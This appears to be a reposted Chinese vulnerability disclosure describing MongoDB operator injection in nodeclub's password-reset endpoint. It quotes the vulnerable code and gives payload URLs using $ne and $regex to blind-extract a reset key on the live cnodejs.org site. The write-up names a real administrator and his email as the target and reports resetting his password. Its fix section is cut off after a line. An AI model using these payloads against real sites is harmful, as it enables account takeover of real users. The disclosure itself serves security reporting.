当前位置:首页 > 技术分析 > 正文内容

nodeclub注入漏洞可重置用户密码

ruisui881个月前 (03-24)技术分析5

这个nodeclub(
https://github.com/cnodejs/nodeclub/)可能用的人不多,弄着玩一下从github上下载nodeclub的源码。\controllers\sign.js

?

1

2

3

4

5

6

7

8exports.reset_pass = function (req, res, next) {

var key = req.query.key;

var name = req.query.name;

User.getUserByNameAndKey(name, key, function (err, user) {

if (!user) {

res.status(403);

return res.render('notify/notify', {error: '信息有误,密码无法重置。'});

}

可以看到,key和name未经判断进入了 User的 getUserByNameAndKey\proxy\user.js

exports.getUserByNameAndKey = function (loginname, key, callback) {

User.findOne({loginname: loginname, retrieve_key: key}, callback);

};

为了测试这个问题,首先,我们把目标定为 cnodejs 的管理者之一 alsotang,从他的github上可以知道他的邮箱是 alsotang@gmail.com然后在
https://cnodejs.org/search_pass找回密码,

接着,根据之前的问题,不难简单的构造出以下请求。
https://cnodejs.org/reset_pass?name=alsotang&key[$ne]=111111111其中,name是目标用户名,让key不等于1111111,此时会返回一个正常的页面。

如果,我们随便设置一个key,例如:
https://cnodejs.org/reset_pass?name=alsotang&key=111111111则会返回一个错误的页面:

如此一来,我们就可以对key参数通过 $regex来进行盲注。例如:
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5 返回正常
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^6返回错误
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5f返回正常....测试代码:见“测试代码”部分。运行程序后,

跑出的key:

然后拿着key去重置密码,密码被重置为 wooyun,登录后~~

见:
https://cnodejs.org/user/alsotang 个人介绍。

解决方案:

exports.reset_pass = function (req, res, next) {var key = req.query.key; var name = req.query.name;..

扫描二维码推送至手机访问。

版权声明:本文由ruisui88发布,如需转载请注明出处。

本文链接:http://www.ruisui88.com/post/2971.html

标签: res.render
分享给朋友:

“nodeclub注入漏洞可重置用户密码” 的相关文章

财务未来:数字化全流程自动化报销,让预算管理更轻松

财务管理是企业经营的重中之重,费控管理则是财务管理的核心之一。上至管理层下至普通员工,面对繁琐的费控管理却是“家家有本难念的经”。举个常见的例子:在传统企业的费用管理模式下,员工在进行商务活动时,通常需要自行垫资,之后再经过一系列繁杂的报销审批流程,才能最终实现打款。对于普通员工来说,申报流程繁琐,...

vue组件间的九种通信方式

前言Vue组件实例间的作用域是相互独立的,而通常一个页面是由很多个组件构成,这些组件可能又嵌套了组件,形成了一个关系网图,它们的关系可能是像下图中一样,大致分为两种使用场景,父子组件间通信和非父子组件间通信,父子组件间通信又分为直接父子关系和间接父子关系。vue提供了多种通信方法,针对不同的通信需求...

Acustica Audio 发布模拟Roland Jupiter 双声道合成器插件 TH2

福利: Acustica Audio 发布模拟Roland Jupiter 风格的双声道合成器插件 TH2 免费下载 意大利 Acustica Audio 公司发布布模拟Roland Jupiter 风格的双声道合成器插件 TH2 ,灵感来源于Acustica Audio的THING-8系列,它是...

Vue从入门到实践 丨Vue-router基本使用

1. 什么是 vue-routervue-router 是 vue.js 官方给出的路由解决方案。它只能结合 vue 项目进行使用,能够轻松的管理 SPA 项目中组件的切换。vue-router 的官方文档地址:https://router.vuejs.org/zh/2. vue-router 安装...

突发!微信全面封禁字节跳动旗下办公产品飞书

日前,字节跳动旗下办公套件飞书发布官方公告称,飞书相关域名无故被微信全面封禁,并且被单方面关闭微信分享API接口。和讯科技对此进行了尝试,发现“feishu”相关域名链接在微信内均无法打开,显示“如需浏览,请长按网址复制后使用浏览器访问”,而在飞书内也无法直接跳转微信分享,显示“未获得分享权限”。据...

详解编程中的同步和异步

本文主要总结一些自己对异步的理解,话不多说 下面开始。一. 单线程 我们常说“JavaScript是单线程的”,所谓单线程,是指在JS引擎中负责解释和执行JavaScript代码的线程只有一个。不妨叫它主线程 但是实际上还存在其他的线程。例如:处理AJAX请求的线程、处理DOM事件的线程、定时器线程...